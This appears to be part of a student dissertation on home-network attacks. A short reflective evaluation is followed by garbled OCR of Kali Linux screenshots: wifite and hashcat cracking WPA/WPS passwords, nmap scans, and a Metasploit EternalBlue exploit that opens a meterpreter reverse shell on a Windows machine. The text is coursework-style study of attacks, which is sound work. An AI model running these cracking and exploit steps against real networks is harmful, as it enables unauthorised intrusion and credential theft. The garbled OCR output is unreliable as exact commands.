	I chose to create a phishing scam after reading about how many attacks are initiated this way, but in reality, there wasn’t much work to creating an email that somebody would click on. In the real world there are many different emails that pretend to be from the Inland Revenue or the police or Microsoft etc. The scammers think of anything to make people panic into clicking; but as far as an experiment goes there wasn’t a great deal to do. Looking back maybe I should have created many different scam emails and done a survey to see how many people would be fooled by each one. In my experiments, the Phishing scam and the MITM attack ended up blending into one, but this may not have been the best approach.
	I also wasn’t very happy with the section of hacking the IoT devices to see if they made it easier for hackers to find a way into the home network. This normally would have been done in a lab environment, but because of the Covid-19 lockdown, the entire project was done from home which made access to the lab and the library impossible.
Finally, I wish I had made it clearer that all of the experiments aren’t all separate, but often a process – the scammer will first gain access to the network, then scan for any computers with weaknesses, then attack them while on the same network (or while connected to a hotel or coffee shop’s network) before launching the windows attacks. But generally, I am happy with the way the experiments went, I’m glad I managed to get some positive results – it was a steep learning curve for me but felt a definite sense of satisfaction seeing it all come together at the end. 
	My initial Gannt Chart (Figure 19) was very helpful to me as it forced me to list all of the aspects required to complete this project, and then put some serious thought into how much time each aspect would take. In reality, reviewing literature didn’t stop after the first section was complete, but I continued to reference other researcher’s work throughout my experiments. My expectation of completing the experiments was roughly accurate, but I under-estimated how long it would take to find a prevention to the scams I had created. Also writing about the experiments, testing, conclusion etc took much longer than I anticipated, just getting the correct layout, figure numbers, table of contents etc all took much longer to get right than I imagined. Below is a revised Gannt chart: 

[image: ]
[bookmark: _Toc70023543]Figure 67 - My revised Gannt chart
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File Actions Edit View Help
(1/1) Starting attacks against 3C:

(53] : E (TP-Link_7EBE)

['] skipping PMKID attack, missing required tools: hcxdumptool, hcxpcapngtoo

[+] TP-Link 7EBE (48db) WPA Handshake capture: found existing handshake for TP-Link 7EBE

[+] Using handshake from hs/handshake TPLink7EBE_3C-84-6A-23-7E-BE_2021-03-24T18-19-07.cap

[+1 analysis of captured handshake file
[+] tshark: .cap file contains a valid handshake for
{] aircrack: .cap file docc 1ot contain a valid handshake

84:6a:23:7e:be

Cracking WPA Handsh

41 : Running aircrack-ng with wordlist-probable.txt wordlist
[+] Cracking WPA Hands}

[l

1

100.00% ETA: 05 @ 5167.7kps (current key: 16401640)

Failed to crack I ce+ wordlist-probable.txt did ot contain password
+1 Finished attacking 1 target(s), exiting
[ (kati®kati)-[-]
$ 1s
cracked.json Documents hs  Pictures reaver output.pcap Templates
Desktop Downloads Music Public  rtl8188fu Videos

(kali® kali)-[~]
Cscans

i@ kati)-[-/hs]
$ s
handshake_Homenetwork_A-04-60-75-4C-9B_2021-03-23T15-19-54. cap
handshake_NETGEAR28_AQ-04-60-75-4C-9B_2021-03-23T13-28-29. cap
handshake_TPLink7EBE_3C-84-6A-23-7E-BE_2021-03-24T18-19-07.cap
handshake_wireless1_74-DA-38-2B-E1-09_2021-03-23T13-02-47.cap

kali® kali)-[~/hs]
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Input

ali@kali: ~ - o x

File Actions Edit View Help

i

1 (7A:35:D1:9E:22:29) 11 WPA-P  10dh  no

12 HP-Print-C5-ENVY 4500 .. 11 weA-P 1o no

1 Scanning. Found 12 target(s), 0 client(s). Ctrl:C when ready *C
UM ESSID CH ENCR POWER WPS? CLIENT

1 wireless1 2 wA-p 7

2 virginmediat906601 11 WPA-P i

3 (FA:54:B8:4F:DC:20) 1 wpA-P i

4 SKYUTWWZ 6 WPA-P dl

5 V1090654 1 weA-P 174
VM5379132 6 WPA-P  17d

7 SKYQDTTV: 1 weA-P  16d

8 rgin Media 1 WpAE 16|

9 gin Media 6 WPA-E

10 LivingRoom 1 wpA-p i

11 (7A:35:D1:9E:22:29) 11 WPA-P i

12 HP-Print-C5-ENVY 4500.. 11 wPA-P  10d no

[+] select target(s) (1-12) separated by commas, dashes or all: 1

L
[
[
i
[
[
[
i
i

1
1
1
i
<1  Encryption: WPA (WPS)
1
1
1
1

(1/1) Starting attacks against 74:DA:38:28:E1:09 (wirelessl
wirelessl (79db) WPS Pixie-Dust: [4m56s] Cracked WPS PIN: 23997530 PSK: ComplexPassword
ESSID: wirelessl
BSSID: 74:DA:38:2B:E1:09

WPS PIN
PSK/Passuord
saved crack result to cracked.json (2 total)
Finished attacking 1 target(s), exiting

23997530

xPa

(kali®kali)-[~
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qterminal 1224PM O

lali@kali: ~

1 11 WPA-P  s4db  no

2 11 wpA-P  Sidb  yes

3 9 WPA-P  49db yes 1

4 r 6 WPA-E 1db - no

5 (FA:54:B8:4F:DC:20) 1 weA-p 2idb  yes
virginmediat906601 6 WPA-P  20db  yes

7 SKYUTWWZ 6 WPA-P  1idh  ye!

8 i 6 WPA-P b yes

9 SKYQDTTV 1 wA-P 15 yes 1

10 VN1875891 11 WPA-P db yes

31 (7A:35:D1:9E:22:29) 11 WPA-P no

2 Virgin Media 1 WPA-E no

3 LivingRoom 1 wpA-p W no

14 V2538013 6 wWPA-P b yes

15 V1090654 1 weA-p  odb  yes

[+] select target(s) (1-15) separated by commas, dashes or all: 2

[+] (1/1) Starting attacks against F
[+] BT-TTAG2 (55b) WPS Pixie-Dusts [4n15s] © Because access point is Locked
[+18 db) WPS NULL PIN: [4mS6s] F Because access point is Locked
[+] BT-TTA623 (55db) WPS PIN Attack: [4s] Failed: Because access point is Locked
[ SleD)ng PHKID attack, missing required tools: hcxdumptool, hcxpcapngtoo
-1
[1
-1
[l
&}

BT-TTA62] (57db) WPA Handshake capture: Listening. (clients:0, deauth
WPA handshake capture FAlLiD: Timed out after 300 seconds

Finished attacking 1 target(s), exiting

Note: Leaving interface in Monitor Mod
To disable Monitor Mode when finished: airmon-ng stop wlanomon

(kali® kali)-
Lon

s, timeout:

)
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File Actions Edit View Help

4 SKYQDTTV 1
5 SKYUTW 6 y
6 V1090654 1 wWeA-p 1 y

select target(s) (1-5) separated by commas, dashes or all: 2

(1/1) starting attacks against A:04:60:75:4C:98 (Homenetwork)

skipping PMKID attack, missing required tools: hcxdumptool, hcxpcapngtool

Homenetwork (48db) WPA Handshake capture: Discovered new client: 76:8:

Homenetwork (48db) WPA Handshake capture: Discovered new client: 00:04

Homenetwork (47db) WPA Handshake capture: Captured handshak

saving copy of handshake to hs/handshake_Homenetwork_A0-04-60-75-4C-9B_2021-03-23T15-19-54

analysis of captured handshake file:
tshark: .cap file contains a valid handshake for a0:04:60
aircrack: .cap file 10t contain a valid handshake

Cracking WPA Handshake: Running aircrack-ng with wordlist-probable.txt wordlist
Cracking WPA Handshake: 4.64% ETA: 47s @ 4133.1kps (current key: Australia)
Cracked WPA Handshake PSK: Australi

Access Point Name: Homenetwor
Access Point BSSID: AD:04:60:75:4Ci98
Encryption: WPA
Handshake File: hs/handshake Homenetwork A0-04-60-75-4C-9B_2021-03-23T15-19-54.cap
PSK (password): Australia
saved crack result to cracked.json (4 total)
Finished attacking 1 target(s), exiting

(kali® kali)-[~
|
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17 VodafoneConnect87879956 5 WPA-P  5db  yes
[+] select target(s) (1-17) separated by commas, dashes or all: 3
[+] (1/1) Starting attacks against 3C:84:6A:23:7E:BE (TP-Link 7EBE)
['] skipping PMKID attack, missing required tools: hcxdumptool, hcxpcapngtool
[+] TP-Link_7EBE (51db) WPA Handshake capture: Listening. (clients:0, deauth:14s, timeou )
[+] TP-Link 7EBE (49db) WPA Handshake capture: Listening. (clients:0, deauth:13s, timeou )
[+] TP-Link 7EBE (51db) WPA Handshake capture: Listening. (clients:o, deauth:12s, timeout:ins/:)
[+] TP-Link 7EBE (48db) WPA Handshake capture: Listening. (clients:0, deauth:1ls, timeou )
[+] TP-Link 7EBE (44db) WPA Handshake capture: Listening. (clients:o, deauth:10s, timeou )
[+] TP-Link_7EBE (45db) WPA Handshake capture: Discovered new client: BA:27:81:C1:F6:99
[+] TP-Link 7€BE (47db) WPA Handshake capture: Listening. (clients:1, deauth:14s, timeou )
[+] TP-Link 7€BE (47db) WPA Handshake capture: Listening. (clients:1, deauth:13s, timeou )
[+] TP-Link 7EBE (47db) WPA Handshake capture: Listening. (clients:1, deauth:12s, timeout:i;i0:)
[+] TP-Link_7EBE (47db) WPA Handshake capture: Listening. (clients:1, deauth:1ls, )
[+] TP-Link_7EBE (47db) WPA Handshake capture: Listening. (clients:l, deauth:10s, )
[+] TP-Link_7EBE (46db) WPA Handshake capture: Captured handshake
[+] saving copy of handshake to hs/handshake TPLink7EBE_3C-84-6A-23-7E-BE_2021-03-24T18-19-07.ca

p saved

[+] analysis of captured handshake file:
[+] tshark: .cap file contains a valid handshake for 3c:84:6a:23:7e:be
[!] aircrack: .cap file does 10t contain a valid handshake

1 Cracking WPA Handshake: Running aircrack-ng with wordlist-probable.txt wordlist
] Cracking WPA Handshake: 100.00% ETA: 0s @ 5279.1kps (current key: 25121967)

1 Failed to crack handshake: wordlist-probable.txt did not contain password

] Finished attacking 1 target(s), exiting

kali® kali)-|
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0 Kali-Linux-2021.1-vb0x-i386 (wireless working) (Running] - Oracle VM VirtualBox

i Input

B mm=| Ihs 0925AM0 4 2 O | & &

O kali@kali: ~/hs. - o x
File Actions Edit View Help

Time.Started. .
Time.Estimated

O kali@kali:

Thu Mar 25 09:24:26 2021 (36 secs)
Sat Mar 27 01:46:24 2021 (1 day, 16 hours)

Guess . Mask. : 7d2dzdzdzdzdedzd [8]

Guess.Queue 1/1 (100.00%)

Speed. #1 . 688 H/s (11.47ms) @ Accel:16 Loops:1024 Thr:l Vec:s
Recovered. . : 0/1 (0.00%) Digests

Progress 24704/100000000 (0.02%)

Rejected /24704 (0.00%)

: 2464/10000000 (0.02%)
Salt:0 Amplifier:2-3 Iteration:2048-3072
: 20422312 — 25711999

Restore.Point.
Restore.Sub.#1
Candidates. #1.

[sltatus [plause [blypass [clheckpoint [qluit = s

Session.
Status.....
Hash. Name. .
Hash.Target. ..
Time.Started..
Time.Estimated

: hashcat

Running

©: WPA-EAPOL-PEKDF2

: TP-Link_7EBE (AP:3c:84:6a:23:7e:be STA:ba:27:81:cl:f6:99)
Thu Mar 25 09:24:26 2021 (50 secs)

Sat Mar 27 01:38:23 2021 (1 day, 16 hours)

Guess . Mask. 2d2d?d2d2d2dzdd [8]

Guess.Queue 1/1 (100.00%)

Speed. #1 5 690 H/s (11.29ms) @ Accel:16 Loops:1024 Thr:1 Vec:8s
Recovered. . : 0/1 (0.00%) Digests

Progress. 34528/100000000 (0.03%)

Rejected 0/34528 (0.00%)

: 3424/10000000 (0.03%)
Salt:0 Amplifier:9-10 Tteration:0-1024
: 60258888 — 65508888

Restore.Point.
Restore.Sub.#1
Candidates. #1.

[sltatus [plause [blypass [clheckpoint [qluit = [
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This may cause
To dissble the
OpencL AP (OpenCL 1.2 CUDA 11.2.162) -
* Device #1: GeForce RTX 2070 SUPER, 6848/8192 MB (2048

Minimm password length supported by kernel: 8
Maximm password length supported by kernel: 63

Hashes: 2 digests; 1 unique digests, 1 unique salts

Watchdog: Temperature abort trigger set to 98¢
Host memory required for this attack: 762 MB

Cracking performance lower than expected?

* Append -w 3 to the commandline.
This can cause your screen to lag.

* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework

[sltatus [plause [blypass [c]heckpoint [q]uit =>

:3c:84:6a:23:70:be STA:ba:27:81:c1:76:99)
:03:13 2021 (20 secs)
Thu Mar 25 14:06:17 2021 (2 mins, 44 secs)
?d2d?drd?drdrdad [8)
1/1 (100.00%)

541.1 kH/s (9.36ms) @ Accel:8 Loops:64 Thr:1624 Vec:l
©/1 (0.00%) Digests
10813440/100000000 (10.81%)
©/10813440 (0,00%)
983040/10000000 (9,83%)
$alt:@ Amplifieri3-4 Iteration:576-640
32558045 -> 37151220

Temp: 63¢ Fani 35% Util: 99% Core:186eMiz Mem:680LMZ Bus:is

?d7d7drdrdrdrdrd
/1 (100.08%)

(9.83%)
Sait:0 Amplifieri7-8 Iterationie-1
82558045 -> 87152220

Tem: 626 Fani 36K Ukili 99K Cone13860MHz Mam:s8euG Bus e
03:03 2021

Started: Thu Mar 25 14
Stopped: Thu Mar 25 1.
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Scan Tools Profile Help

Target: | 192.168.12 | Profile: | [T

Command: | nmap -T4 -A -v 192.168.1.2

Hosts

Nmap Output Ports / Hosts Topology Host Details Scans
Serinée: « |nmap-Ta-A-vio2681.1

btx Starting Nmap 7.91 ( https://nmap.org ) at 2021-63-21 20:29 GHT Standard Time
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
W Initiating NSE at 26:29
Completed NSE at 26:29, 6.665 elapsed
tcpwrapped Initiating NSE at 20:29
Completed NSE at 26:29, 6.66s elapsed
Initiating NSE at 26:2
Completed NSE at 26:29, 6.665 elapsed
Initiating ARP Ping Scan at 20:29
Scanning 192.168.1.1 [1 port]
Completed ARP Ping Scan at 20:29, 8.14s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:28
Completed Parallel DNS resolution of 1 host. at 20:29, @.els elapsed
Initiating SYN Stealth Scan at 20:28
Scanning 192.168.1.1 [1000 ports]
Discovered open port 53/tcp on 192.168.1.1
Discovered open port 80/tcp on 192.168.1.1
Discovered open port 28885/tcp on 192.168.1.1
Discovered open port 631/tcp on 192.168.1.1
Discovered open port 5688/tcp on 192.168.1.1
Completed SYN Stealth Scan at 20:29, 8.125 elapsed (1000 total ports)
Initiating Service scan at 26:29
Scanning 5 services on 192.168.1.1
Completed Service scan at 20:31, 123.795 elapsed (5 services on 1 host)
Initiating 05 detection (try #1) against 192.168.1.1
NSE: Script scanning 192.168.1.1
Initiating NSE at 26:31
Completed NSE at 26:31, 14.665 elapsed
Initiating NSE at 26:31
Completed NSE at 26:31, 1.695 elapsed
Initiating NSE at 26:31
Completed NSE at 26:31, 6.665 elapsed
Nmap scan report for 192.168.1.1
Host is up (8.0856s latency).
Not shoun: 995 closed ports
PORT. STATE SERVICE  VERSION
53/tcp  open domain  dnsmasq 2.78
| dns-nsid
I_ bind.version: dnsmasq-2.78
8/tcp  open tcpurapped
| http-auth
| HTTP/1.6 461 Unauthorized\xeD
|- Basic realm=NETGEAR R7000
|_http-favicon: Unknown favicon MDS: 53C0844F@F126E@85A7AA3D346FIESED
|_http-title: 461 Unauthorized
631/tcp  open ipp?
5000/tcp open tcpurapped
20005/tcp open btx?
MAC Address: AD:04:60:75:4C:98 (Netgear)
Device type: general purpose
Running: Linux 2.6.X
05 CPE: cpe:/o:linux: linux_kernel:2.6
05 details: Linux 2.6.19 - 2.6.36
Uptime guess: 17.506 days (since Thu Mar 04 08:22:42 2021)
Netuork Distance: 1 hop
TCP_Sequence Prediction: Difficult
Ip I0 Sequence Generation: All zeros

domain

93 (6ood Luck!)

TRACEROUTE

HOP RTT  ADDRESS
Filter Hosts

£ Type here to search O H € & w H @ @ O @R M

£ X $ > = A@Q ¢ ® B
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Scan Tools Profile Help
Target: | 192.168.1.14 v| Profile | Intense scan

Command: | nmap -T4 -A -v 192.168.1.14

Hosts Nemap Output Ports / Hosts Topology Host Detals Scans
s o nmapT-A-vioice T
boe i35/tcp  open msrpe Microsoft Windous RPC
. 139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
485/tcp  open microsoft-ds?
ttp S54/tcp  open rtsp?
1801/tcp open msma?
iphone-sync 2103/tcp open msrpc Microsoft Windous RPC
' 2105/tcp open msrpc Microsoft Windous RPC
g 2107/tcp open msrpc Microsoft Windows RPC
jetdirect 2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPRP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
st | _ttp-server-headers Microsoft-HITPAPL/2.0
_— |Inttp-title: Service Unavailable
9100/tcp open jetdirect?
mipc 9200/tcp open wap-wsp?
10243/tcp open http Microsoft HTTPAPI httpd 2.@ (SSDP/UPnP)
neible st | _ttp-server-header: Microsoft-HITPAPL/2.0
o [ Zhttp-tities Not Found
No exact OS matches for host (I you know what OS is running on it, see https://nmap.org/submit/ ).
tcpurapped TCP/IP tingerprint
ke SCAN(V-17. S1%E-4%0-3/ 21%0T=80%C

1686-pc- windous-windous)SEQ(S
IFFD7NHBNNS02=HF FD7NHBNNSR0:

FD7NWBNNS06=HFFD7NNS YWIN (1=FFFF%i2=FFFF3=F FFFi4=FFFFi5=FFFFXi6=FF7
DF = YXT=80%(=F FFF0=HFFD7NBNNSCCNE0=) TL

© hops
TCP_Sequence Prediction: Difficulty=256 (Good luck!)

1P TD Sequence Generation: Incremental

Service Info: Os: Windows; CPE: cpe:/o:microsoft:windous

Host script results:
| nbstat: NetBIOS name: DESKTOP-D21J419, NetBIOS user: <unknown>, NetBIOS MAC: 18:c@:4d:a2:cb:da (Giga-byte Technology)

| Names
| DESKTOP-D217419¢@@> Flags: <unique><active>
WORKGROUP<00> Flags: <group><active>

|
|- DESKTOP-D213419¢26> Flags: <unique><active>
| smb2-security-mode

| 2.02

|- Message signing enabled but not required

| smb2-time

| date: 2021-63-21T20:36:44

|- start_date: N/A

NSE: Script Post-scanning.
Initiating NSE at 26:37
Completed NSE at 26:37, ©.66s elapsed
Initiating NSE at 26:37
Completed NSE at 26:37, ©.66s elapsed
Initiating NSE at 26:37
Completed NSE at 26:37, ©.66s elapsed
Read data files rom: C:\Program Files (x85)\Nmap
05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 195.55 seconds
Raw packets sent: 1086 (51.89KB) | Rcvd: 2204 (97.856KB)
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BemO=|

# Nessus Essentials / Fold... (J Shell No.1 O kali@kali: /var/www/html

ali@kal: fvar/wwwhtml
File Actions Edit View Help

mSF6 exploit(iindous/snh/nsly 010 cternalilue) > set LPORT 4444
LPORT = 44464

msF6 exploit(uindous/snb/ns17 010 cternalblue) > set LHOST 10.0.2.15
LHOST = 10.0.2.15

mSF6 exploit(uindous/sib/nsi7 010 cternalilue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name Current Setting Required Description

RHOSTS 10.0.2.7 yes The target host(s), range CIDR identifier, or hosts file with syntax 'filei<path>
RPORT w45 yes The target port (TCP)

SMBDomain i no (0ptional) The Windows domain to use for authentication

SMBPass no (0ptional) The password for the specified username

sMBUSer no (0ptional) The username to authenticate as

VERIFY_ARCH  true yes Check if remote architecture matches exploit Target

VERTFY_TARGET true yes Check if remote 0S matches exploit Target

Payload options (windows/x64/meterpreter/reverse_tcp)

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST  10.0.2.15 yes The listen address (an interface may be specified)

LPORT 44t yes The listen port

Exploit target:

Id Name

©  Windows 7 and Server 2008 R2 (x64) All Service Packs

msf6 exploit(windows/snb/ms17_010_eternalblue) > exploitl]
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' || E # Nessus Essential.. ] Shell No.1 O kali@kali: /var/w... 03:01PM O ao0lac

Kali@kal: fvar wwwihtml -
File Actions Edit View Help

meterpreter > dir

Listing: C:\users
Mode size Type Last modified Name
40777/rwxrwxrwx @ dir  2009-07-14 01:08:56 -0400 ALl Users
40555/r-xr-xr-x 8192 dir  2009-07-13 23:20:08 -0400 Default
40777/rwxrwxrwx O dir  2009-07-14 01:08:56 -0400 Default User

40555/r-xr-xr-x 4096 dir  2009-07-13 23:20:08 -0400 Public
40777/rwxrwxrwx 8192 dir  2020-10-22 12:13:18 -0400 User
100666/rw-rw-rw- 174 fil  2009-07-14 00:54:24 -0400 desktop.ini

meterpreter > cd user
meterpreter > dir
Listing: C:\users\user

Mode Size  Type Last modified Name
40777/rwxrwxrux dir  2020-10-22 12:13:21 -0400 AppData
40777/rwxrwxrux dir  2020-10-22 -0400 Application Data
40555/r-xr-xr-x dir  2020-10-22 -0400 Contacts
40777/TwxTWXTWX dir  2020-10-22 -0400 Cookies

40555/r-xr-Xr-x dir  2020-10-22

0

0

0

0

) -0400 Desktop
40555/r-xr-xr-x 4096  dir  2020-10-22

0

ot

0

0

0

)

-0400 Documents
-0400 Downloads
-0400 Favorites

40555/r-xr-xr-x dir  2020-10-22
40555/r-xr-xr-x 4096  dir  2020-10-22

40555/r-Xr-Xr-X dir  2020-10-22 -0400 Links
40777/ rwxTWXTWX dir  2020-10-22 -0400 Local Settings
40555/1-Xr-XT-X dir  2020-10-22 -0400 Music

40777/TwxTWXTWX dir  2020-10-22
100666/rw-rw-rw- 786432 fil  2020-10-22 0400 NTUSER.DAT

100666/rw-rw-Tw- 65536  fil  2020-10-22 12:13:21 -0400 NTUSER.DAT{016888bd-6C6f-11de-8d1d-001e0bcde3ec}. TH.bLF
100666/rw-rw-rw- 524288 fil 2020-10-22 12:13:21 -0400 NTUSER.DAT{016888bd-6c6f-11de-8d1d-001edbcde3ec} . TMConta
iner00000000000000000001 . regtrans-ms

100666/rw-rw-rw- 524288 fil  2020-10-22 12:13:21 -0400 NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}. THConta
iner00000000000000000002 . regtrans-ms

-0400 My Documents

40777/rwxrwxrwx 0 dir  2020-10-22 12:13:21 -0400 NetHood
40555/r-xr-xr-x @ dir  2020-10-22 12:13:21 -0400 Pictures

40777 /rwxrwxrwx @ dir  2020-10-22 -0400 PrintHood
40777/rwxrwxrwx 0 dir  2020-10-22 -0400 Recent
40555/r-xr-xr-x @ dir  2020-10-22 -0400 Saved Games
40555/r-xr-xr-x @ dir  2020-10-22 -0400 Searches

40777 /rwxrwxrwx @ dir  2020-10-22 -0400 SendTo
40777/rwxrwxrwx 0 dir  2020-10-22 -0400 Start Menu
40777/TwxTwxTwx O dir  2020-10-22 -0400 Templates
40555/r-xr-xr-x @ dir  2020-10-22 -0400 Videos

100666/ rw-rw-rw- 262144 il 2020-10-22 -0400 ntuser.dat.LOG1
100666/ rw-rw-rw- 0 fil 2020-10-22 -0400 ntuser.dat.L0G2
100666/ rw-rw-rw- 20 fil  2020-10-22 12:13:21 -0400 ntuser.ini
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B'r‘ Smart Hub 2 Manager

Home > Advancedsettings > Advanced wireless

‘You can use this page to customise your wireless settings.

If you make any changes on the page remember to click the Save button.

Reset to recommended

o
24GH SGHz B
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Start WPS
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@ wps:

Passwordstrength: (W |




image72.jpeg
Project Plan Gantt Chart

pLan cruaL  acru  memcewt
start STaRT  oumaTion  comrieve

Choose Project ) ) ) 1 100%
Agree with  Supervisor 1 3 ) s 100%
Background Reading 4 0 4 0 5%
Wite Inroduction s 2 4 s 100%
Write Aim & Objectives o 2 7 2 100%
Structure 7 ) 3
Uterature Review s s s 3 100%
Methodology 10 ' o%
Choose 3 Methods n ' 0 1 100%
Write Background of Each . - S wid
Method
Write about Plan of Attacks

v 2 o
/ Methods
Implementation of Project 18 s o
Keep Detalled Notes of e 3 o
Experiments / Results
Testing & Evaluation 2 2 3
Write About Weaknesses

2 B
Found o
find Waysto Eiminate

% 2
Found Threats L
Test Againto Check . , o
Method Prevents Attacks
Write Up il Fndings 0 2 o
Write Conclusion S 1 o





image2.png




